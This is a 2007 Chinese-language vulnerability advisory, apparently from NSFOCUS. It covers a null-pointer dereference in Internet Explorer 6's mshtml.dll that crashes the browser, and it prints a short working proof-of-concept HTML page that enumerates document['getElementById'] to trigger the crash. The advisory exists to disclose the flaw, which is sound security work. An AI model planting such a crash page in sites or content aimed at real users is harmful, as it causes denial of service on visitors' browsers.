安全研究
安全漏洞
Microsoft IE mshtml.dll畸形HTML空指针引用漏洞
发布日期：2007-02-06
更新日期：2007-02-07
受影响系统：Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID:
22408
Internet Explorer是微软发表的非常流行的WEB浏览器。
Internet Explorer的mshtml.dll库没有正确的处理畸形的HTML页面，远程攻击者可能利用此漏洞导致用户IE浏览器崩溃。
如果用户受骗打开了恶意页面的话，就可能出现空指针引用，导致浏览器崩溃。
<*来源：AmesianX （
amesianx@gmail.com）
链接：
http://www.milw0rm.com/exploits/3272
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (
amesianx@gmail.com,
RC_No1@gmail.com)</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp浏览次数：3535
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
